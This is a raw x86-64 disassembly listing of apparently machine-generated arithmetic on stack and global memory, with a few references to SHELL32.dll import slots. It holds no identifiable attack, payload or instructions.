mov rcx, qword [rsp + 0xc5d8]
mov word [rcx], ax
mov rax, qword [0x1402c9560]
movzx eax, word [rax]
mov word [rsp + 0x1c70], ax
mov rax, qword [rsp + 0xc9b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7d], al
mov rax, qword [rsp + 0xe6f8]
movzx eax, word [rax]
mov word [rsp + 0x1c74], ax
mov rax, qword [rsp + 0xbf90]
mov rcx, qword [rsp + 0xe088]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc550], rax
mov rax, qword [rsp + 0xbe68]
mov ecx, dword [rsp + 0x6f78]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xdac0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcdc8]
mov rax, qword [rax]
mov qword [rsp + 0xf3d8], rax
mov rax, qword [rsp + 0xdc10]
mov rcx, qword [rsp + 0xd048]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6b68], eax
mov rax, qword [rsp + 0xe420]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17e8]
shl eax, cl
mov word [0x1402c91f8], ax
movzx eax, byte [rsp + 0x131]
mov byte [rsp + 0x238], al
mov rax, qword [rsp + 0xca18]
movzx eax, byte [rax]
mov rcx, qword [0x1402c92f8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd7d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xd850]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc3c0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x130], al
mov rax, qword [rsp + 0xde30]
movzx eax, word [rax]
mov word [rsp + 0x1c78], ax
mov rax, qword [rsp + 0xe3f0]
mov rcx, qword [rsp + 0xf100]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6c20], eax
lea rax, [rsp + 0xebb8]
mov qword [rsp + 0xf3e0], rax
mov rax, qword [rsp + 0xceb0]
mov rcx, qword [rsp + 0xda98]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xde38], rax
mov eax, dword [rsp + 0x6d0c]
mov ecx, dword [0x1402c7498]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe3c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd4d8]
movzx eax, word [rax]
mov word [0x1402c97d0], ax
mov rax, qword [rsp + 0xe7a8]
movzx eax, byte [rax]
mov byte [rsp + 0x239], al
mov rax, qword [rsp + 0xe390]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe0b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd4c8]
mov byte [rcx], al
mov rax, qword [rsp + 0xdb90]
movzx eax, byte [rax]
mov byte [rsp + 0x23a], al
mov rax, qword [rsp + 0xd768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c54]
and eax, ecx
mov rcx, qword [rsp + 0xc088]
mov word [rcx], ax
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
mov qword [rsp + 0xf3e8], rax
mov rax, qword [rsp + 0xcf28]
mov rcx, qword [rsp + 0xf180]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd720]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6d14]
mov ecx, dword [rsp + 0x6b50]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcf38]
mov dword [rcx], eax
lea rax, [rsp + 0xbb08]
mov qword [rsp + 0xf3f0], rax
lea rax, [rsp + 0x1c4]
mov qword [0x1402c97d8], rax
mov rax, qword [rsp + 0xdc00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf2f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bb8], ax
mov rax, qword [rsp + 0xd4e8]
movzx eax, word [rax]
mov word [rsp + 0x1c7c], ax
movzx eax, word [rsp + 0x1660]
mov rcx, qword [rsp + 0xcb18]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc3a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1f2]
mov rcx, qword [rsp + 0xdd70]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc908]
mov byte [rcx], al
mov rax, qword [rsp + 0xe5a8]
mov rax, qword [rax]
mov qword [rsp + 0xf3f8], rax
mov rax, qword [rsp + 0xe1d8]
mov rcx, qword [rsp + 0xdef8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xbce8], rax
mov rax, qword [rsp + 0xddd8]
mov eax, dword [rax]
mov dword [rsp + 0x7054], eax
mov eax, dword [rsp + 0x6e68]
movzx ecx, al
mov eax, dword [rsp + 0x6a18]
shl eax, cl
mov rcx, qword [rsp + 0xdca0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1590]
movsx ecx, word [rsp + 0x1bd4]
sar eax, cl
mov rcx, qword [rsp + 0xcae0]
mov word [rcx], ax
mov rax, qword [rsp + 0xe9f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcaa0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402c74bb], al
lea rax, [rsp + 0x133]
mov qword [rsp + 0xf400], rax
movzx eax, word [0x1402c9278]
movzx ecx, word [rsp + 0x16f4]
add eax, ecx
mov word [rsp + 0x175c], ax
lea rax, [rsp + 0x18f]
mov qword [rsp + 0xf408], rax
mov rax, qword [rsp + 0xc5d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a4c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdca8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd970]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd560]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc468], rax
lea rax, [rsp + 0xbdf0]
mov qword [rsp + 0xf410], rax
mov rax, qword [rsp + 0xcf28]
mov rcx, qword [rsp + 0xbe10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b2c], eax
movzx eax, byte [rsp + 0x190]
mov byte [rsp + 0x23b], al
lea rax, [rsp + 0x15ac]
mov qword [0x1402c97e0], rax
mov rax, qword [rsp + 0xd7a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14d]
sub eax, ecx
mov rcx, qword [rsp + 0xf278]
mov byte [rcx], al
lea rax, [0x1402c9338]
mov qword [rsp + 0xf418], rax
mov rax, qword [rsp + 0xdbf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xebf8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1834], ax
mov rax, qword [rsp + 0xc890]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e04]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6dfc], eax
lea rax, [rsp + 0xc468]
mov qword [rsp + 0xf420], rax
mov eax, dword [rsp + 0x6ea8]
mov ecx, dword [rsp + 0x6d88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c74], eax
lea rax, [rsp + 0xe508]
mov qword [rsp + 0xf428], rax
mov rax, qword [rsp + 0xdea8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a40]
add eax, ecx
mov word [rsp + 0x1a70], ax
movzx eax, word [rsp + 0x178c]
movzx ecx, word [rsp + 0x1ac0]
sub eax, ecx
mov word [0x1402c7594], ax
mov rax, qword [rsp + 0xcbf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbb80]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1f8], al
movzx eax, word [rsp + 0x15bc]
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0xdc18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdc50]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0xcde0]
mov qword [rsp + 0xf430], rax
mov rax, qword [rsp + 0xe0a8]
mov rcx, qword [rsp + 0xc5a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xcc88]
mov dword [rcx], eax
mov rax, qword [rsp + 0xce68]
mov rcx, qword [rsp + 0xc768]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6fb8], eax
lea rax, [rsp + 0xbec8]
mov qword [rsp + 0xf438], rax
mov rax, qword [0x1402c92c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbd90]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xe438]
mov word [rcx], ax
mov rax, qword [rsp + 0xe800]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbfc0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c7552], al
mov rax, qword [0x1402c9408]
movzx eax, byte [rax]
mov byte [rsp + 0x23c], al
mov rax, qword [rsp + 0xd118]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15b8], ax
lea rax, [rsp + 0xc1]
mov qword [rsp + 0xf440], rax
mov rax, qword [rsp + 0xf408]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c74a5]
add eax, ecx
mov byte [rsp + 0x1ed], al
mov rax, qword [rsp + 0xbd78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b00]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe5e0]
mov dword [rcx], eax
lea rax, [rsp + 0xda98]
mov qword [rsp + 0xf448], rax
mov rax, qword [rsp + 0xed68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xeeb0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe1d0], rax
mov eax, dword [rsp + 0x6a20]
mov dword [rsp + 0x7058], eax
movzx eax, word [rsp + 0x1b54]
mov rcx, qword [rsp + 0xbfd0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c755c], ax
movzx eax, byte [rsp + 0x166]
movzx ecx, byte [0x1402c74a4]
and eax, ecx
mov byte [rsp + 0xbd], al
movsx eax, word [rsp + 0x1588]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xe910]
mov word [rcx], ax
lea rax, [rsp + 0x158]
mov qword [rsp + 0xf450], rax
mov rax, qword [0x1402c92a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19cc]
cdq
idiv ecx
mov rcx, qword [rsp + 0xde40]
mov word [rcx], ax
lea rax, [rsp + 0xe268]
mov qword [rsp + 0xf458], rax
mov eax, dword [rsp + 0x6bbc]
mov rcx, qword [rsp + 0xbaf8]
mov qword [rsp + 0xf460], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf460]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x69e8], eax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbbf8]
mov qword [rsp + 0xf468], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf468]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6cbc], eax
mov rax, qword [rsp + 0xbec8]
mov qword [rsp + 0xf470], rax
movzx eax, byte [rsp + 0xe5]
mov rcx, qword [rsp + 0xe800]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1402c7553], al
movzx eax, byte [0x1402c754e]
movzx ecx, byte [rsp + 0xea]
xor eax, ecx
mov rcx, qword [rsp + 0xd398]
mov byte [rcx], al
lea rax, [rsp + 0xfb]
mov qword [rsp + 0xf478], rax
mov rax, qword [rsp + 0xd038]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xccd0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c5c], ax
mov rax, qword [0x1402c95d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd148]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1a3c], ax
mov eax, dword [rsp + 0x6b8c]
mov dword [rsp + 0x705c], eax
mov rax, qword [rsp + 0xd8c8]
mov rcx, qword [rsp + 0xf420]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc2d8]
mov qword [rcx], rax
lea rax, [rsp + 0xde10]
mov qword [rsp + 0xf480], rax
mov rax, qword [rsp + 0xea48]
mov rcx, qword [rsp + 0xd628]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6980], eax
mov rax, qword [rsp + 0xc9d8]
movzx eax, byte [rax]
movzx ecx, byte [reloc.SHELL32.dll_ILCombine]
sub eax, ecx
mov byte [0x1402c90db], al
lea rax, [rsp + 0x19b8]
mov qword [rsp + 0xf488], rax
mov rax, qword [rsp + 0xe680]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe540]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16e4], ax
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16cc]
add eax, ecx
mov word [rsp + 0x1904], ax
lea rax, [rsp + 0x196]
mov qword [rsp + 0xf490], rax
mov rax, qword [rsp + 0xe298]
mov rcx, qword [rsp + 0xcce8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc4a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc348]
mov rax, qword [rax]
mov qword [rsp + 0xf498], rax
mov rax, qword [rsp + 0xe6a0]
mov eax, dword [rax]
mov ecx, dword [0x1402c90a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d5c], eax
mov rax, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xe1f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xe9b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd588]
movzx eax, word [rax]
mov rcx, qword [0x1402c94e0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1402c75a0], ax
mov rax, qword [rsp + 0xcf48]
movzx eax, byte [rax]
mov byte [rsp + 0x23d], al
mov rax, qword [rsp + 0xe710]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc208]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc528]
mov word [rcx], ax
mov rax, qword [rsp + 0xbb18]
movzx eax, byte [rax]
mov byte [rsp + 0x23e], al
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [rsp + 0x175]
or eax, ecx
mov rcx, qword [rsp + 0xf450]
mov byte [rcx], al
mov rax, qword [rsp + 0xcc88]
mov ecx, dword [rsp + 0x6a24]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6ac4], eax
lea rax, [0x1402c7498]
mov qword [rsp + 0xf4a0], rax
mov rax, qword [rsp + 0xd878]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xef60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2e8], rax
mov rax, qword [rsp + 0xdde8]
mov qword [rsp + 0xf4a8], rax
movzx eax, byte [rsp + 0x9d]
movzx ecx, byte [reloc.SHELL32.dll_ILCombine]
add eax, ecx
mov byte [0x1402c7556], al
mov rax, qword [rsp + 0xc070]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a00]
and eax, ecx
mov word [rsp + 0x17c4], ax
mov rax, qword [rsp + 0xe258]
movzx eax, byte [rax]
mov byte [rsp + 0x23f], al
movsx eax, word [rsp + 0x17b8]
mov rcx, qword [0x1402c91b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1684], ax
mov rax, qword [rsp + 0xbf88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16dc]
add eax, ecx
mov word [rsp + 0x1980], ax
mov eax, dword [rsp + 0x695c]
mov dword [rsp + 0x7060], eax
mov rax, qword [rsp + 0xc9a8]
mov rcx, qword [rsp + 0xe108]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xea30], rax
lea rax, [rsp + 0x6a9c]
mov qword [rsp + 0xf4b0], rax
mov rax, qword [rsp + 0xcf98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda98], rax
mov rax, qword [rsp + 0xdf50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdae8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1402c9608]
mov word [rcx], ax
mov rax, qword [rsp + 0xdfa8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc178]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16d0], ax
lea rax, [rsp + 0x19cc]
mov qword [rsp + 0xf4b8], rax
movzx eax, byte [rsp + 0xd7]
mov rcx, qword [rsp + 0xed08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x19e], al
lea rax, [rsp + 0xbc]
mov qword [rsp + 0xf4c0], rax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdec0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe1d8], rax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xc810]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xda28], rax
mov eax, dword [rsp + 0x6df0]
mov dword [rsp + 0x7064], eax
mov eax, dword [0x1402c90a0]
mov rcx, qword [rsp + 0xe3f0]
mov qword [rsp + 0xf4c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf4c8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xe5e8]
mov dword [rcx], eax
lea rax, [rsp + 0x174]
mov qword [0x1402c97e8], rax
mov rax, qword [rsp + 0xcb68]
movzx eax, word [rax]
mov word [rsp + 0x1c84], ax
mov rax, qword [rsp + 0xc1e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x129]
xor eax, ecx
mov byte [rsp + 0x1a6], al
mov rax, qword [rsp + 0xec10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd378]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1d7], al
movzx eax, word [rsp + 0x1728]
mov word [rsp + 0x1c88], ax
mov rax, qword [rsp + 0xc498]
mov ecx, dword [rsp + 0x6a70]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6c70], eax
mov rax, qword [rsp + 0xe000]
mov rax, qword [rax]
mov qword [rsp + 0xf4d0], rax
mov rax, qword [rsp + 0xdfb8]
mov rcx, qword [rsp + 0xefd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xe4a0], rax
mov eax, dword [rsp + 0x6d24]
mov dword [rsp + 0x7068], eax
movsx eax, byte [rsp + 0xf2]
movsx ecx, byte [rsp + 0x117]
add eax, ecx
mov rcx, qword [rsp + 0xcc08]
mov byte [rcx], al
mov rax, qword [rsp + 0xe8f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16e8]
and eax, ecx
mov rcx, qword [0x1402c9790]
mov word [rcx], ax
mov rax, qword [rsp + 0xefc0]
movzx eax, word [rax]
movzx ecx, word [0x1402c75c4]
sub eax, ecx
mov word [rsp + 0x1b04], ax
mov rax, qword [rsp + 0xda18]
movzx eax, byte [rax]
mov byte [rsp + 0x240], al
movsx eax, byte [rsp + 0xd9]
movsx ecx, byte [rsp + 0x5e]
sub eax, ecx
mov rcx, qword [rsp + 0xe958]
mov byte [rcx], al
lea rax, [rsp + 0x6c74]
mov qword [rsp + 0xf4d8], rax
mov rax, qword [rsp + 0xea80]
mov rcx, qword [rsp + 0xe160]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc950]
mov qword [rcx], rax
mov rax, qword [rsp + 0xca28]
mov rcx, qword [rsp + 0xc028]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc650]
mov qword [rcx], rax
lea rax, [rsp + 0x6d04]
mov qword [rsp + 0xf4e0], rax
movsx eax, word [rsp + 0x18a0]
movsx ecx, word [rsp + 0x1774]
add eax, ecx
mov rcx, qword [rsp + 0xe510]
mov word [rcx], ax
lea rax, [rsp + 0x1ae0]
mov qword [0x1402c97f0], rax
mov rax, qword [rsp + 0xdb98]
movzx eax, word [rax]
mov word [rsp + 0x1c8c], ax
movsx eax, byte [rsp + 0x66]
movsx ecx, byte [0x1402c90b2]
xor eax, ecx
mov byte [rsp + 0x1b6], al
movzx eax, word [rsp + 0x1b58]
mov rcx, qword [rsp + 0xc070]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc378]
mov word [rcx], ax
mov rax, qword [rsp + 0xc988]
mov rax, qword [rax]
mov qword [rsp + 0xf4e8], rax
mov rax, qword [rsp + 0xbad0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc080]
mov qword [rsp + 0xf4f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf4f0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6d00], eax
mov rax, qword [rsp + 0xf068]
mov eax, dword [rax]
mov dword [rsp + 0x706c], eax
mov rax, qword [rsp + 0xee08]
mov rcx, qword [rsp + 0xf288]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc2b0], rax
mov rax, qword [rsp + 0xbcb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16dc]
imul eax, ecx
mov word [rsp + 0x1b60], ax
movzx eax, byte [rsp + 0x19f]
mov byte [0x1402c916c], al
lea rax, [rsp + 0x181c]
mov qword [rsp + 0xf4f8], rax
movzx eax, byte [rsp + 0xce]
movzx ecx, byte [0x1402c754a]
and eax, ecx
mov byte [rsp + 0xbd], al
movzx eax, byte [rsp + 0xcd]
mov byte [rsp + 0x241], al
mov rax, qword [rsp + 0xcad0]
mov ecx, dword [rsp + 0x6f0c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xf1f0]
mov dword [rcx], eax
lea rax, [rsp + 0x6a38]
mov qword [rsp + 0xf500], rax
mov rax, qword [rsp + 0xc808]
mov rcx, qword [rsp + 0xee68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd838]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcb10]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcaa8]
mov qword [rcx], rax
lea rax, [rsp + 0x1904]
mov qword [rsp + 0xf508], rax
mov rax, qword [0x1402c91c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb3]
sub eax, ecx
mov byte [0x1402c90dd], al
mov rax, qword [rsp + 0xe9e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b90]
and eax, ecx
mov word [rsp + 0x1804], ax
mov rax, qword [0x1402c93f8]
movzx eax, byte [rax]
mov byte [rsp + 0x242], al
movzx eax, byte [rsp + 0x56]
mov rcx, qword [rsp + 0xdd70]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x78], al
movzx eax, word [rsp + 0x1ae0]
movzx ecx, word [rsp + 0x1c18]
add eax, ecx
mov rcx, qword [rsp + 0xdc90]
mov word [rcx], ax
lea rax, [0x1402c7490]
mov qword [rsp + 0xf510], rax
mov rax, qword [rsp + 0xd460]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b50], eax
mov rax, qword [rsp + 0xd370]
mov rax, qword [rax]
mov qword [rsp + 0xf518], rax
mov rax, qword [rsp + 0xe5e0]
mov ecx, dword [rsp + 0x6d3c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xe588]
mov dword [rcx], eax
lea rax, [rsp + 0x9d]
mov qword [0x1402c97f8], rax
mov rax, qword [rsp + 0xe540]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x199c]
shl eax, cl
mov rcx, qword [rsp + 0xcce0]
mov word [rcx], ax
mov rax, qword [rsp + 0xdd40]
movzx eax, byte [rax]
mov byte [rsp + 0x243], al
mov rax, qword [rsp + 0xe708]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe1b8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x19c8], ax
mov rax, qword [rsp + 0xbf40]
movzx eax, byte [rax]
mov byte [rsp + 0x244], al
mov rax, qword [rsp + 0xccc8]
mov ecx, dword [0x1402c90a0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6dd0], eax
mov rax, qword [rsp + 0xc660]
mov rax, qword [rax]
mov qword [rsp + 0xf520], rax
mov rax, qword [rsp + 0xe8c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6fb8]
sar eax, cl
mov dword [rsp + 0x6a14], eax
mov rax, qword [rsp + 0xe300]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd3a0], rax
movzx eax, byte [rsp + 0x56]
mov rcx, qword [rsp + 0xba18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [reloc.SHELL32.dll_ILGetNext], al
mov rax, qword [rsp + 0xc7d0]
movzx eax, byte [rax]
mov byte [rsp + 0x245], al
movsx eax, word [rsp + 0x17b4]
movsx ecx, word [0x1402c74f8]
add eax, ecx
mov word [rsp + 0x1a10], ax
mov rax, qword [rsp + 0xbef0]
movzx eax, word [rax]
mov word [rsp + 0x1c90], ax
mov rax, qword [rsp + 0xe840]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a]
add eax, ecx
mov rcx, qword [rsp + 0xe7c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc498]
mov rcx, qword [rsp + 0xbaf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6fac], eax
lea rax, [rsp + 0xf0e8]
mov qword [rsp + 0xf528], rax
mov eax, dword [rsp + 0x6b68]
mov ecx, dword [rsp + 0x6db4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d9c], eax
mov rax, qword [rsp + 0xc868]
mov rax, qword [rax]
mov qword [rsp + 0xf530], rax
mov rax, qword [rsp + 0xedf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf4b8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x1402c7620], ax
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0xcbf8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x73], al
movsx eax, word [rsp + 0x154c]
mov rcx, qword [rsp + 0xe440]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b2c], ax
mov rax, qword [rsp + 0xba20]
movzx eax, word [rax]
mov word [rsp + 0x1c94], ax
mov rax, qword [rsp + 0xef18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdc18]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd078]
mov byte [rcx], al
mov eax, dword [0x1402c90a0]
mov dword [rsp + 0x7070], eax
mov rax, qword [rsp + 0xc068]
mov rcx, qword [rsp + 0xde08]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd950], rax
mov rax, qword [rsp + 0xc718]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xdf18]
shl rax, cl
mov qword [rsp + 0xcf78], rax
mov eax, dword [0x1402c7498]
mov dword [rsp + 0x7074], eax
mov rax, qword [rsp + 0xe018]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe9d0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1402c75e4], ax
movsx eax, byte [rsp + 0x1d9]
movsx ecx, byte [reloc.SHELL32.dll_ILCombine]
or eax, ecx
mov byte [rsp + 0x81], al
movzx eax, byte [rsp + 0xaf]
mov byte [rsp + 0x246], al
mov rax, qword [rsp + 0xbd90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe818]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1600], ax
lea rax, [rsp + 0x9d]
mov qword [rsp + 0xf538], rax
mov rax, qword [rsp + 0xcbb0]
mov eax, dword [rax]
imul eax, dword [rsp + 0x6d68]
mov rcx, qword [rsp + 0xc830]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6f28]
mov ecx, dword [rsp + 0x6d00]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c38], eax
mov rax, qword [rsp + 0xea90]
mov rax, qword [rax]
mov qword [rsp + 0xf540], rax
mov rax, qword [rsp + 0xc6e0]
mov rcx, qword [rsp + 0xbde8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd600], rax
movsx eax, byte [rsp + 0x22c]
mov rcx, qword [rsp + 0xf230]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1402c90d0]
mov byte [rcx], al
lea rax, [rsp + 0x16fc]
mov qword [rsp + 0xf548], rax
mov rax, qword [rsp + 0xd078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x75]
add eax, ecx
mov rcx, qword [rsp + 0xebe0]
mov byte [rcx], al
mov rax, qword [rsp + 0xe4c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe658]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xf2b0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1744]
mov word [rsp + 0x1c98], ax
mov rax, qword [rsp + 0xdf10]
